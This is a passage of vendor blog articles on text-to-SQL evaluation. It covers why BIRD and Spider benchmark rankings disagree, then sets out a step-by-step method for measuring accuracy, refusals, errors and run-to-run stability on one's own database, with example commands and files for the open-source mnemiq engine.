buying"| W C3 -.->|"the one that follows you home"| W ``` **Figure 2 — Three of the four inputs to any leaderboard number belong to the benchmark and its harness, not to you. The deployment axis is the only one of the three whose work reappears on your own warehouse.** Three of the four inputs are the benchmark's and its harness author's. Your schema has its own join paths and its own fifteen-year-old column names, your users have their own definition of an active customer, and your grading rule is whatever your analysts will accept in a Slack thread. So the practical move is to stop reading scores as rankings and start reading them as filters. A published number is good evidence of a floor and poor evidence of an ordering, which is enough to shortlist and never enough to choose. Then measure. We wrote the method up separately in [how to evaluate text-to-SQL on your own database](/blog/evaluate-text-to-sql-on-your-own-database): write the questions your team actually asks, decide in advance which grading rule matches what your users will accept, and check the answer key before you trust a score computed from it. Pick the rule first, because it is the choice that most determines the result and the one most often left to a default. This applies to our own numbers. mnemiq leads every cell of Table 3, and we published it, and that is exactly the pair of facts that should make you discount it. The engine's own thesis is that accuracy does not transfer across databases, which is why a language model proposes SQL in it and deterministic checks on shape, access, dialect and query plan decide whether the query runs. A benchmark score cannot tell you whether those checks fit your warehouse. Only your warehouse can. ## FAQ {#faq} **What do BIRD and Spider actually measure?** Spider 1.0 measures whether a system generalises to database schemas it has never seen, over 200 small, tidy databases. BIRD measures whether it can cope with dirty stored values and questions that need outside business knowledge, over 95 databases totalling 33.4 GB. Spider 2.0 measures whether it can complete enterprise workflows against thousand-column warehouses, where a solution is often several queries and a hundred lines. None of the three measures how a system behaves on your schema, and none of them measures latency, cost or whether the system respects your access controls. **What is the difference between BIRD and Spider?** Dataset, grading rule and intent. BIRD's databases are larger and messier and its questions come with external knowledge; Spider 1.0's are small and clean and its test is schema generalisation; Spider 2.0's are enterprise warehouses on BigQuery and Snowflake. On grading, BIRD's execution metric demands set equality of result rows while Spider 2.0's accepts any result containing the reference values, so an extra column is fatal in one and free in the other. **Two numbers disagree — is it the dataset, the rule, or the harness?** Check in that order. Different benchmark names means the dataset, and there is no conversion. Same benchmark and same answers but different numbers means the grading rule. Same benchmark, same rule, surprising gap means look at the deployment: which keys survived the load, what dialect the SQL was generated in, what table or column limits the platform imposed, and whether anyone has read the per-question output. A harness bug can produce a wholly believable score, including a 0%. **Why does my system rank higher on Spider than on BIRD?** Most likely because Spider 1.0's databases are small and clean while BIRD's contain dirty values and need external knowledge to connect a question to how the data is stored. BIRD was built specifically to close that gap. A drop from Spider to BIRD is the expected direction, not a regression. **Which text-to-SQL benchmark should I trust?** For a shortlist, the one whose corpus most resembles your situation: Spider 2.0 if you run a large cloud warehouse with thousand-column tables, BIRD if your data is messy and your questions need business context. For a decision, none of them. **Is a two-point difference on a BIRD leaderboard meaningful?** We don't think so. An audit found annotation errors in 52.8% of BIRD Mini-Dev examples, and re-scoring 16 agents on corrected data moved rankings by an average of five positions. A two-point gap is inside that noise. **Does Spider 2.0 replace BIRD?** No. It tests a different thing, and it grades differently, accepting any result that contains the reference values. Scores from the two are not comparable in either direction. **Can I put a vendor's published score in a procurement document?** You can cite it as a floor on capability if you also record the corpus, the grading rule, the model and the date. Presenting it as a ranking is the part that misleads, including when the vendor is us. ## Conclusion {#conclusion} BIRD and Spider rankings disagree for three reasons at once. They ask different questions of different databases. They grade the answers with different code. And each system ran on a deployment somebody had to configure, against answer keys that are themselves substantially wrong. Each of those facts is documented, and each on its own is enough to reorder a leaderboard. Together they mean the sentence "system A beats system B at text-to-SQL" is incomplete to the point of being unfalsifiable. What remains useful is the mechanism. Knowing that BIRD's grader fails an extra column and Spider 2.0's does not tells you something real about why two numbers differ, and it tells you which rule to pick when you grade your own. That is a transferable skill. A leaderboard position is not. > **The one thing to take away:** before you compare two text-to-SQL numbers, check that they came from the > same dataset and answer key, the same grading rule and comparably configured deployments. If any of the > three differs, you are not comparing systems. ## Sources {#sources} - [Spider: A Large-Scale Human-Labeled Dataset for Complex and Cross-Domain Semantic Parsing and Text-to-SQL Task](https://arxiv.org/abs/1809.08887) — Yu et al., EMNLP 2018. Source for the 10,181 questions, 5,693 unique SQL queries, 200 databases, 138 domains, and the cross-domain split design. - [Spider 1.0 leaderboard](https://yale-lily.github.io/spider) — the two parallel boards, the definitions of exact set match without values and execution with values, MiniSeek at 91.2 and 81.5, and the near-disjoint top eights. - [Can LLM Already Serve as A Database Interface? A BIg Bench for Large-Scale Database Grounded Text-to-SQLs](https://arxiv.org/abs/2305.03111) — Li et al., NeurIPS 2023. BIRD's 12,751 pairs, 95 databases, 33.4 GB, 37 domains, the dirty-values and external-knowledge framing, and 40.08% versus 92.96%. - [bird-bench/mini_dev](https://github.com/bird-bench/mini_dev) — the 500-example Mini-Dev set across 11 databases, the soft F1 motivation quoted here, R-VES, and the `calculate_ex` set-equality implementation. - [BIRD benchmark site](https://bird-bench.github.io/) — current execution-accuracy leaderboard and the human-performance baseline. - [Spider 2.0: Evaluating Language Models on Real-World Enterprise Text-to-SQL Workflows](https://arxiv.org/abs/2411.07763) — Lei et al., ICLR 2025. The 632 workflow problems, the 1,000+ column databases on BigQuery and Snowflake, and 21.3% against 91.2% and 73.0%. - [Spider 2.0 site and leaderboards](https://spider2-sql.github.io/) — the 547-example Snow and Lite variants and the current standings. - [xlang-ai/Spider2 evaluation suite](https://github.com/xlang-ai/Spider2/blob/main/spider2-lite/evaluation_suite/evaluate_utils.py) — the containment comparison quoted above, including the 1e-2 numeric tolerance and the optional row-order blindness. - [Semantic Evaluation for Text-to-SQL with Distilled Test Suites](https://arxiv.org/abs/2010.02840) — Zhong, Yu and Klein, EMNLP 2020. Test-suite accuracy, the false positive rates for single-database execution accuracy, the exact-set-match false negative rates, and the rank inversions between the two. - [taoyds/test-suite-sql-eval](https://github.com/taoyds/test-suite-sql-eval) — the reference implementation whose `result_eq` requires matching column counts. - [Pervasive Annotation Errors Break Text-to-SQL Benchmarks and Leaderboards](https://arxiv.org/abs/2601.08778) — Jin, Choi, Zhu and Kang, January 2026. The 52.8% and 62.8% error rates, the 16 re-scored agents, the −9 to +9 rank changes, and the Spearman correlations of 0.85 and 0.32. - [Text-to-SQL Benchmarks are Broken: An In-Depth Analysis of Annotation Errors](https://www.vldb.org/cidrdb/papers/2026/p5-jin.pdf) — the CIDR 2026 version of the same work, with the E1 to E4 error taxonomy and per-pattern distributions. - [Understanding the Effects of Noise in Text-to-SQL: An Examination of the BIRD-Bench Benchmark](https://arxiv.org/abs/2402.12243) — Wretblad et al., ACL 2024. Earlier evidence of prevalent noise in BIRD, and zero-shot baselines overtaking state-of-the-art prompting once gold queries were corrected. - [Text-to-SQL evaluation taxonomy](https://agenticfabriq.github.io/text-to-sql-evaluation-taxonomy/) — ours, vendor-neutral. The grading rule, answer shape, benchmark corpus and failure mode dimensions used throughout, including the `right-data-wrong-shape` and `reference-error` terms. - [mnemiq benchmark comparison](https://www.agenticfabriq.com/mnemiq) — the first-party numbers in Table 3, the exact match and got-the-facts definitions, and the methodology note on runs and grading. - [mnemiq launch article, "What we did to make the comparison fair"](/blog/mnemiq/launch#what-we-did-to-make-the-comparison-fair) — ours, first-party. Every deployment-axis detail in this piece: the Snowflake identifier-casing handling, the replayed primary and foreign keys, the ~20 keys lost to our own Databricks loader and the half-point it cost Genie, the 73 relationships Unity Catalog cannot represent, the 38-table schema against Genie's 30-table space, the dotted-namespace harness bug that scored Genie 0% before regrading to 66.7%, and the 27 Cortex Analyst refusals of which 24 were missing join metadata. - [agenticfabriq/mnemiq](https://github.com/agenticfabriq/mnemiq) — the open-source engine whose design assumes accuracy does not transfer across databases. ================================================================================ ## How to Evaluate Text-to-SQL on Your Own Database URL: https://www.agenticfabriq.com/blog/evaluate-text-to-sql-on-your-own-database Published: 2026-10-12 Author: Paulina Xu Summary: A runnable method for getting a text-to-SQL accuracy number that applies to your warehouse: building the question set, fixing the grading rule first, repeating runs, and counting refusals apart from errors. ```tldr **Evaluate a text-to-SQL system with questions representative of your database and business definitions. Report correct answers, refusals and wrong answers separately, then inspect latency, cost and access-control behaviour under a fixed configuration.** You get a number that means something by writing the questions yourself, fixing the grading rule before you look at any results, running the whole set at least three times, and declaring both accuracy denominators, one over answered questions and one over the whole answerable set, so refusing more cannot look like improving. Four decisions, none of them about the model. The grading rule alone moves the answer. Beacon, the open grader behind our published comparison, records a re-basing: Spider EX on one local slice read 53.4% under the runner's own grading and 55.7% under beacon's, on the same run. Nothing was rerun. Two definitions of "correct" met the same rows. The usual version of "evaluate on your own data" is a demo on a dozen questions somebody made up in a meeting. That tells you the system can write SQL. It cannot tell you how often it will be wrong, and it has no error bar, because twelve questions cannot carry one. We're not claiming you need a thousand questions before you learn anything. Twenty to thirty, tagged by difficulty band, will tell you which layer to fix. It just won't tell you whether 61% beats 58%. Start with the question set, not the tooling. Pull real questions out of your BI tool's query log, write a reference answer for each, tag each one as answerable from column names, needs a definition, or should be refused, and keep right, refused and wrong as three separate numbers. ``` ## Overview {#overview} Someone has asked you to say whether a text-to-SQL system is good enough for your warehouse. The vendor has a deck with a BIRD score on it. You know, or suspect, that the score is not about your database. That suspicion is correct and we've argued it separately: [why BIRD and Spider rankings disagree](/blog/why-bird-and-spider-rankings-disagree) takes apart the public corpora and the ordering flips between them. This is the other half, and it is the useful half. Assume no leaderboard transfers. What do you run to get a number about your own schema, and what has to be true of that number before you quote it? The parts that decide the answer are boring and mostly not the model: the question set, the reference answers, the grading rule, the number of runs, and what happens to a question the system declines. Get those wrong and you still get a percentage. It just isn't a measurement of the thing you care about. Governance controls are a separate subject, covered in [mnemiq and governed data agents](/blog/mnemiq/governed-data-agents); this is the measurement procedure, and it assumes you know which schema slice you may point at. ```mermaid flowchart TD SRC["Real questions: BI query log,<br/>analytics backlog, tickets"] --> STRAT{Stratified into bands?} STRAT -- no --> SRC STRAT -- yes --> REFS["Write reference answers: run gold SQL, store rows"] REFS --> RULE{Grading rule written down<br/>before any output?} RULE -- no --> REFS RULE -- yes --> RUNS["Run the full set N>=3 times, identical config"] RUNS --> OUT{Per-item outcome} OUT -- answered --> GRADE["Grade under every declared rule"] OUT -- refused --> REF2["Refusal bucket:<br/>correct or over-refusal"] OUT -- errored --> ERRB["Error bucket:<br/>stays in the denominator"] GRADE --> FLIP{Same verdict every run?} FLIP -- no --> SPREAD["Case flip: report mean and spread"] FLIP -- yes --> REPORT["Report: band accuracy, deferral rate,<br/>over-refusal, errors, flip rate"] SPREAD --> REPORT REF2 --> REPORT ERRB --> REPORT REPORT --> DIAG{Which band failed?} DIAG -- needs a definition --> F1["Glossary and certified definitions"] DIAG -- answerable from names --> F2["Enrichment and retrieval"] DIAG -- should be refused --> F3["Verifier threshold"] F1 --> RUNS F2 --> RUNS F3 --> RUNS ``` **Figure 1 — The evaluation loop, with every decision point named. The two gates that get skipped are stratification and writing the grading rule down first, and skipping either makes the loop's output uninterpretable.** > **The rule we'd start from:** choose the grading rule before you see any output. Any rule chosen afterwards > is a rule chosen because of what it scored, and that is tuning, not grading. ## Where the Questions Come From, and How Many {#question-set} Questions you invent at a whiteboard are biased toward the schema you remember. Real questions are biased toward what people need, which is the bias you want. Three sources carry them. Your BI tool's query log is the richest: Looker, Tableau and Metabase all retain executed queries, and a quarter's worth tells you which tables carry traffic and which joins analysts actually write. The analytics team's backlog is second, and better in one respect, because a backlog item is a question nobody has answered yet. Third, support and internal-helpdesk tickets, where the phrasing is unpolished in the way a real user's phrasing is unpolished. "how many enterprise accounts churned last quarter" is a harder and more honest input than "SELECT COUNT(*) FROM accounts WHERE ...". Then stratify, because uniform sampling buries the result. Take a renewals analytics slice at a B2B software company: a third of the questions are single-table counts, a third need a join through a lookup table, and a handful turn on what "churned" means. Sample uniformly and the easy third dominates the percentage. The bands we'd use, which are mnemiq's own tags in its README guidance, are *answerable from column names*, *needs a definition*, and *should be refused*. The diagnosis falls out of the comparison. Definition-band failures with schema-band passes mean a glossary problem, and writing one will pay for itself. Schema-band failures mean retrieval or enrichment. Both bands passing while the should-refuse band answers confidently means the system has no brakes. Be honest about what each count buys. Twenty to thirty questions is a diagnostic: enough to say which band is broken, not enough to rank two configurations. Ranking needs real statistical power, and the numbers are larger than people expect. Evan Miller's paper on eval statistics works the arithmetic for a paired comparison and lands on roughly 969 questions to detect a three-point difference at 80% power and 5% significance. Two of its five recommendations bite hardest here: clustered standard errors when questions arrive in related groups, and inference on question-level paired differences rather than on two independent means. Clustering is unavoidable in this domain, because ten questions about the same fact table share its quirks and are not ten independent draws. Pretending otherwise makes your confidence interval too narrow and your improvements too convincing. > **A practical floor:** 25 questions to find out what to fix. Several hundred before you claim one > configuration beats another. If you only have 25, say "the definition band fails" and not "we measured 64%". ## The Record Template, Field by Field {#template} Everything in this method reduces to one table, in a spreadsheet, a CSV or a JSON file. Reuse it for every system and configuration, because a comparison is only valid if both sides were recorded in the same shape. One row is **one question under one run**. Twenty-eight questions, three runs, two configurations is 168 rows, not 28, and that is the point: the per-run rows are what give you a spread and a flip rate. The first five fields belong to the question and never change; the last six are written by the run. | Field | Written when | Allowed values | Why it is there | |---|---|---|---| | `question_id` | authoring | a stable string, e.g. `churn-q1` | Joins one question across runs, configurations and systems. Renumbering it breaks every historical comparison silently. | | `question` | authoring | the natural-language text, verbatim | As a real user phrased it. Rewriting it into something the engine handles better is tuning the test. | | `answerability` | authoring | `answerable-from-schema`, `needs-definition`, `should-refuse` | The three bands. This field, not the accuracy column, tells you which layer to fix. | | `required_definition` | authoring | the business term and its agreed meaning, or empty | What "churned" or "last quarter" has to mean. If two people disagree here, the question is not gradeable yet. | | `expected_result` | authoring | the reference **rows**, or `none` for `should-refuse` | Rows, not gold SQL. Keep the gold SQL beside it as provenance; grade against the rows. On a `should-refuse` row the only passing outcome is `refused_correctly`. | | `role` | run | the role or principal the question was asked as | Access control is part of the measurement: the same question as `analyst` and as `support` should not return the same rows, and a system that ignores the role is wrong even when the number is right. | | `system_version` | run | product and version, or `not disclosed` | A figure without a version is not reproducible. Record non-disclosure rather than leaving it empty. | | `configuration` | run | every setting that was varied, as one pinned descriptor | Complete enough to rebuild the run from the cell. "The usual settings" is how a comparison stops being one. | | `outcome` | run | `correct`, `correct_facts`, `wrong`, `refused_correctly`, `refused_wrongly`, `error` | Six values, not two: the vocabulary the denominators are built from. | | `latency_ms` | run | wall-clock ms, question in to answer out | Per row, so you can quote a median and a p95 rather than a mean that hides the tail. A configuration that wins on accuracy and triples latency may still lose. | | `cost` | run | per-question cost, with the unit named | Tokens, currency or both. Enrichment, multi-candidate generation and a verifier pass all buy accuracy with cost; omitting it compares different budgets. | A single row, written out: ```json { "question_id": "churn-q1", "question": "how many enterprise accounts churned last quarter?", "answerability": "needs-definition", "required_definition": "churned = churned_at is set; enterprise = segment_cd 'A' via segment lookup; last quarter = 2026-07-01..2026-09-30", "expected_result": [{ "n": 142 }], "role": "analyst", "system_version": "mnemiq 0.1 (commit 9f2c1ab)", "configuration": "model=<pinned model id and snapshot>, temperature=0, seed=7, embed=<model>, retrieval=k12, enrichment=tier2, certified_definitions=none, verifier=off, grader=beacon v7, schema_snapshot=2026-10-05", "outcome": "correct", "latency_ms": 4120, "cost": "0.021 USD" } ``` ## The Denominators, Written Down Before You Run Anything {#denominators} This is the part that decides whether the percentage can be gamed. A system can raise an accuracy figure two ways: by getting more questions right, or by declining the ones it would have got wrong. Only one of those is an improvement, and a single fraction cannot tell you which happened. So fix the counts first. Over a set of `question_id`s, with `answerability` splitting them: - **`answerable`**: every row whose `answerability` is `answerable-from-schema` or `needs-definition`. These have an `expected_result`. - **`should_refuse`**: every row whose `answerability` is `should-refuse`. These are scored separately and never enter an accuracy fraction. - **`errored`**: rows whose `outcome` is `error`, where nothing gradeable came back. An error is not a wrong answer and not a zero, so it leaves the answerable denominator, but it gets its own count: a system that errors on a fifth of your questions is unusable whatever its accuracy says. - **`gradeable`** = `answerable` − `errored`. This is the denominator that matters. - **`answered`**: gradeable rows whose `outcome` is `correct`, `correct_facts` or `wrong`. Refusals are excluded here and only here. And `errored` must not stay one bucket. "Twelve errors" is not a finding; these four have four different owners and four different fixes, so record a sub-reason beside the outcome: | Error class | What it looks like | Whose problem | |---|---|---| | Connection or permission | the adapter could not reach the source, or the role was refused | your deployment: credentials, network, grants. Not the model, and not a refusal either. | | Invalid SQL | the query did not compile or execute in the source dialect | generation or dialect handling. A large count usually means the wrong dialect is being written: cheap to fix, easy to mistake for low accuracy. | | Timeout or resource limit | the statement was killed, or the result exceeded a cap | the query, the warehouse or your limits. Record which limit fired; 5 s and 5 min are different results. | | Model or harness failure | the endpoint errored or rate-limited, returned nothing parseable, or the run crashed | infrastructure. Retry these and say how many you retried: silently retrying until something works is how a flip rate disappears. | **Table 1 — Four error classes. A run with twenty connection errors and one with twenty invalid-SQL errors score identically and mean opposite things.** Then report both of these, always as a pair: | Figure | Numerator | Denominator | What it answers | |---|---|---|---| | Accuracy on attempts | `correct` (or `correct` + `correct_facts`) | `answered` | When it does answer, how often is it right? Rises as the system refuses more. | | Accuracy on the set | `correct` (or `correct` + `correct_facts`) | `gradeable` | Of the questions a user could legitimately ask, how many came back with a right answer? Refusals count against it. | | Deferral rate | `refused_correctly` + `refused_wrongly` | `gradeable` | How much of your question set the system declines. | | Over-refusal | `refused_wrongly` | `gradeable` | Refusals a more permissive configuration answers correctly — the price of the caution. | | Refusal hold | `refused_correctly` on the should-refuse band | `should_refuse` | Whether the brakes work on questions where answering is the failure. | | Error rate | `errored` | `answerable` | How often nothing gradeable came back at all. | The pairing is the whole mechanism. **Accuracy on attempts** over **answered** is the figure most harnesses print, and a system that refuses half your questions and nails the rest scores beautifully on it. **Accuracy on the set** over **gradeable** keeps every refusal in the denominator, so that same system scores half as well. Quote them side by side and refusing more stops being a way to look better: it moves the first figure up and the second down, and the gap between them *is* the deferral rate. Run both under both grading rules and you have four numbers plus three rates, which is still fewer than the ways one percentage can mislead you. > **Declare the denominators in writing before the first run**, alongside the grading rule. A denominator > chosen after you have seen the refusal count is the same mistake as a grading rule chosen after you have seen > the rows. ## Reference Answers, and Deciding What Correct Means {#reference} A reference answer is not the gold SQL. It is the rows the gold SQL returns, and that is the artifact grading should compare against. **Grade the result of executing the query, never the text of the query.** Two queries that share no tokens can be equally correct: a join and a correlated subquery, `GROUP BY` against a window function, a `CTE` chain against one nested statement. String-matching marks all of those wrong, and equivalent SQL is not an edge case but the normal case. mnemiq's own harness is built that way: the README describes it as grading "results by the data returned rather than by string-matching the SQL", and in beacon the generated SQL is kept as evidence you can read, never as the thing that is scored. Have a person who knows the data write the query, run it, and store the result. Then write down, before running anything, which of these rules decides whether a candidate matches. The [text-to-SQL evaluation taxonomy](https://agenticfabriq.github.io/text-to-sql-evaluation-taxonomy/#dimensions) calls this the grading rule dimension, and its four terms are the live options: | Rule | Term id | What it accepts | |---|---|---| | Exact result match | `tsqlet:grading-rule/exact-result-match` | The same columns as the reference, in the reference's order, no extras | | Got the facts | `tsqlet:grading-rule/got-the-facts` | Every reference value present; extra columns and context are fine | | LLM-judged | `tsqlet:grading-rule/llm-judged` | Whatever a model says satisfies the question | | Human-judged | `tsqlet:grading-rule/human-judged` | Whatever a person accepts for the business question | Decide first because the same run scores differently under each. The taxonomy's [answer shape](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/answer-shape.yaml) dimension names the band that moves: `tsqlet:answer-shape/right-data-wrong-shape`, defined as a result that "would pass got-the-facts but fail exact-result-match". An answer carrying `region, revenue, order_count` when the reference carries `region, revenue` is in that band. Exact match fails it. Got-the-facts passes it. Neither rule is wrong; they answer different questions, and an analyst who gets an extra column rarely files a bug. ```mermaid flowchart LR Q["Question: revenue by region, 2025"] --> SQL[Engine proposes SQL and runs it] SQL --> RS["Returned: region, revenue, order_count"] REF["Reference: region, revenue"] --> CMP RS --> CMP{Compare rows} CMP --> EM["exact result match: FAIL<br/>extra column, column order counts"] CMP --> GF["got the facts: PASS<br/>every reference value present"] CMP --> LJ["LLM-judged: unknown<br/>until you publish judge and prompt"] EM --> SHP["answer shape:<br/>right data, wrong shape"] GF --> SHP ``` **Figure 2 — One answer, three rules, three verdicts. The rule is not a detail of the measurement; on this band it is the measurement.** Beacon's [grading contract](https://github.com/agenticfabriq/beacon/blob/main/docs/grading.md) shows how specific this has to get before it is reproducible. Got-the-facts there tolerates extra candidate columns, column order, row order, a decimal rounding either way under either convention, and the same value spelled differently. It refuses a missing gold column, a different row count, a different value, and `NULL` versus `0` versus empty string. Whole numbers compare exactly under both readings, because "a count, a year, an id is right or wrong, never within a tolerance band." That is the detail a rule needs. "Correct" is not a rule. And exact match isn't a safe default just because it is strict. The test-suite accuracy paper measured Spider's own exact-set-match metric against 21 leaderboard submissions and found a false-negative rate of 2.5% on average and 8.1% at worst, so a strict rule marks genuinely correct queries wrong often enough to reorder a leaderboard. Report both readings; the disagreement is information, not noise. ### Questions with more than one defensible reading "How many payments did we take last quarter?" can mean distinct payment events or rows in the payments table, and where change-data-capture has left superseded revisions behind, those are different numbers. A question in that state is **not answerable yet**: leave it in and it grades as whatever reading the system happened to take that run, which turns your flip rate into noise. Pick one disposition before the first run. 1. **Pin the reading** in `required_definition`, store the rows for *that* reading in `expected_result`, and keep the row as `needs-definition`. Usually the right answer, and a test of whether your glossary exists: if nobody can say which reading is correct, the question has found a real gap. 2. **Split it** into two `question_id`s with two definitions and two reference results, when both readings are genuinely asked by different teams. 3. **Move it to `should-refuse`**, only if a clarification or a refusal is the behaviour you want. Then `expected_result` is `none` and the only passing outcome is `refused_correctly`. What you must not do is score it as answerable and let the grader arbitrate. mnemiq takes the same line one level down, on values: coded values are grounded from the data, a standard code system or a hand-written dictionary with the source recorded, and are otherwise left bare, because "no evidence, no meaning". Where a column matches two code schemes ambiguously it writes a reviewable proposal instead of choosing silently. Ambiguity gets escalated rather than resolved by luck, and your question set should work the same way. ## Run It More Than Once {#runs} One run is not a measurement, and the reason is mechanical rather than philosophical. Stability is its own dimension in the taxonomy, with `tsqlet:stability/case-flip-rate` defined as the share of questions whose graded verdict changes across repeated identical runs, measured by running the full set at least three times with identical configuration and counting items not graded identically every time. Temperature zero does not save you. Thinking Machines' write-up on inference nondeterminism sent 1,000 identical requests to Qwen3-235B at temperature 0 and got 80 unique completions, every one identical for the first 102 tokens and diverging at token 103. Their diagnosis is batch invariance rather than floating-point luck: "the primary reason nearly all LLM inference endpoints are nondeterministic is that the load (and thus batch-size) nondeterministically varies!" Your batch size is someone else's traffic. Local servers add a second trap: they sample unless told not to. mnemiq's README records measuring this on vLLM 0.9, where Qwen2.5-Coder-32B ships temperature 0.7, a request naming no temperature gets the model's default, and five identical requests came back five different ways. Pinning temperature is necessary and not sufficient. Report three things. The mean over runs rather than the best run, which the taxonomy calls `tsqlet:stability/mean-of-runs`. The spread between best and worst. And the case-flip rate, the number a stakeholder actually needs: the share of questions on which the system has no settled answer. A system at 64% mean with a 3% flip rate and one at 64% with an 18% flip rate are not the same product, and a single percentage cannot tell them apart. Three runs is the floor. Resampling also reduces variance, so if a cell matters enough to argue about, run it more and say how many times. ### What goes in `system_version` and `configuration` "Identical configuration" is only checkable if you wrote it down, which is what those two fields are for. A run is reproducible when a stranger could rebuild it from the two cells, as in the [example row](#template): `system_version` takes the product plus a version, commit SHA or container digest, or the words *not disclosed* where a vendor gives none; `configuration` takes the model id **and** its snapshot, the endpoint, temperature and seed, the embedding model, retrieval depth, the enrichment tier and whether anyone certified a definition, the verifier threshold and whether verification is on at all, the grader and *its* version, and the schema snapshot the questions ran against. Changing the grader changes the metric, which is why it belongs beside the model rather than in a footnote. Record whether the seed did anything, too. mnemiq forwards `MNEMIQ_LLM_SEED` to the provider and documents that vLLM honours it while the hosted endpoint accepts it and varies anyway, so a seed buys reproducibility on the local path only. "seed=7" without that caveat implies a determinism you do not have. ## Count Refusals Separately From Errors {#refusals} A system that says "this schema has no revenue column" and one that returns a confident wrong number are not the same system, and one percentage cannot see the difference. Beacon states the two commitments plainly: "a deferral is not a failure. A system that declines to answer scores `DEFER`, not `FAIL`", and "an error is not a zero. An attempt that never ran leaves the denominator instead of counting against the model." The [denominators](#denominators) are how you hold both of those at once. What the buckets cannot tell you on their own is whether the refusals were *earned*, and the taxonomy's [refusal](https://github.com/agenticfabriq/text-to-sql-evaluation-taxonomy/blob/main/taxonomy/refusal.yaml) dimension names the measurement that can: `tsqlet:refusal/calibrated-refusal`, the test of whether the questions a system declines are ones it would more often get wrong if forced. It needs two configurations, so run the set with the verifier threshold high, then low. If the questions the strict configuration refused are ones the permissive configuration got wrong, the refusals earn their keep. If the permissive configuration answered them correctly, you are paying for caution in lost coverage, and the report should say so. The should-refuse band gives you the other half: deliberately unanswerable or unauthorized questions, where answering is the failure. > **One percentage is not a result.** Publish accuracy, deferral rate, over-refusal count, error count and > case-flip rate together, or publish nothing. Any one of them can be improved by making another worse. ## Who or What Grades It {#grading} Three options, and each fails in a specific way. **Result-set comparison** is the default and should be. It compares the rows your engine returned against the reference rows, under a rule you wrote down, and it is reproducible, cheap and auditable. It fails on questions whose answer is not a result set, and on reference errors: the taxonomy lists `tsqlet:failure-mode/reference-error` for a gold query that is itself wrong, which happens often enough that a strict rule will sometimes mark the model right and your reference wrong. **Human review** is ground truth and does not scale. It also drifts, because a reviewer on question 200 is not the reviewer who did question 5. Use it on a stratified sample, with the acceptance criteria written first and two people grading an overlap so you can quote their agreement rate. **An LLM grader** is the tempting middle, and the honest version is more work than people expect. The MT-Bench paper found strong judges reaching "over 80% agreement" with human preferences, "the same level of agreement between humans", which is the argument for using one. The same paper names position bias, verbosity bias and self-enhancement bias, which are the arguments against trusting one you haven't characterized. The taxonomy's caution on `tsqlet:grading-rule/llm-judged` is one line and it is the whole problem: "Not reproducible across judge models; report the judge and prompt." Reproducible means: publish the exact prompt, pin the judge model and version, pin temperature at zero, publish per-question verdicts rather than an aggregate, and report the judge's agreement with human review on a sample of a hundred or so items. Without that last number you've replaced a measurement with an opinion that scales. Never let the grader be the model that wrote the SQL. Panickssery, Bowman and Feng found LLM evaluators recognize their own outputs at "non-trivial accuracy" without special training, score those outputs higher while human annotators rate them equal, and that the bias strength tracks self-recognition ability linearly. Beacon handles it by exclusion: its LLM judge "serves narrative and rubric graders only — never the SQL path." ## A Worked Example You Can Run Today {#worked} mnemiq is our open-source text-to-SQL engine, so this section is first-party and the pipeline is readable in the repo. It is here because it ships the three things this method needs and most systems don't expose: an open grader, a tracker holding every run, and per-question results. Start with the demo, which needs no database of your own and no Docker. The seed step writes a small SQLite database plus its source manifest and access policy under `demo/`. ```bash uv sync uv run python scripts/seed_demo.py export MNEMIQ_LLM_BASE_URL=... MNEMIQ_LLM_API_KEY=... MNEMIQ_LLM_MODEL=... export MNEMIQ_SOURCES_PATH=demo/sources.json export MNEMIQ_AUTHZ_PATH=demo/authz.json export MNEMIQ_STORE_PATH=demo/store.duckdb uv run mnemiq enrich # profile + describe the schema uv run mnemiq build # index it for retrieval uv run mnemiq ask "how many customers are there by country?" --roles analyst ``` `--roles analyst` is not optional. Access is fail-closed, so without a role the engine grants nothing and defers, which the README notes is "the first thing people mistake for a bug". Two more questions show the parts that aren't the model: ```bash uv run mnemiq ask "how many enterprise customers are there?" --roles analyst uv run mnemiq ask "what was our total revenue last quarter?" --roles analyst ``` The first has to join through a lookup table to resolve a coded column, because `segment_cd` holds `A`/`B`/`C` and nothing in the name says "enterprise". The second is refused: the demo schema has no revenue column, and the engine says so instead of returning a number. Definition band and should-refuse band, in two commands. Your own question set is a JSON file of cases, in the shape of the shipped `evals/acme.json`: ```json [ {"id": "churn-q1", "question": "how many enterprise accounts churned last quarter?", "gold_sql": "SELECT count(*) AS n FROM account a JOIN segment s ON s.cd = a.segment_cd WHERE s.label = 'enterprise' AND a.churned_at >= '2026-07-01'", "tags": ["aggregate", "join", "coded-value", "needs-definition"]} ] ``` That file is the authoring half of the [record template](#template) in mnemiq's own field names: `id` is `question_id`, `tags` carries the `answerability` band, and `gold_sql` is the provenance for the `expected_result` rows. The run half (`role`, `system_version`, `configuration`, `outcome`, `latency_ms` and `cost`) is what you record around the harness, because only you know which settings you varied and what a question cost you. Three more files ship beside it, and they are the only concrete artifacts the repository publishes. [`fs_payments_control.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/fs_payments_control.json) is a question set with a control band, each case carrying an `expected_answer` note stating *why* that number is right. [`fs_payments_authz.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/fs_payments_authz.json) is its access policy: a role mapped to the tables it may read and its PII clearance, which is the template's `role` field made concrete. [`trend.json`](https://github.com/agenticfabriq/mnemiq/blob/main/evals/trend.json) is what `eval --record` appends, one object per run with `run_at`, `total`, `correct`, `correct_facts`, `wrong`, `deferred_wrongly`, `error` and two accuracies: `accuracy` over got-the-facts and `strict_accuracy` over exact match. That is the two-denominator discipline expressed as a schema, and it is the shape your own trend log should take. Be clear about what it is not. `trend.json` is a short trend on the repository's own 30-case demo set, not a benchmark result, and its figures should not be quoted as one. The graded per-question results behind the published comparison are not in this repository at all, because run reports are generated rather than committed; for those, go to beacon. ### Before you point this at a real database Generated SQL executed against production is the part of this exercise that can hurt you, and the checks belong in front of the query, not in the prompt. mnemiq's decider is a reasonable model of what to demand: the query must be read-only, may only reference objects the caller is allowed to see, must compile in the source's own dialect, and must survive an `EXPLAIN`. Fail one and the answer is a refusal with a stated reason instead of a plausible number. Permissions apply *before* schema retrieval, so a forbidden table is never shown to the model, and row and column policy is applied to the query tree rather than requested of it, because asking a model to respect a filter is not a control. Three things are yours to provide, and no engine setting substitutes for them: - **A genuinely read-only database role**, one the database will not let write. mnemiq's Oracle notes are candid that its read plane refuses writes but that the guarantee is partly a property of your deployment: a `SELECT` can reach a writing function through a view, since a view resolves references with the view owner's rights, and restricting the caller does not close that. Opening the database read-only does. - **A statement timeout and a row cap on that role.** mnemiq exposes connection and probe timeouts for Oracle and documents that data queries are *not* 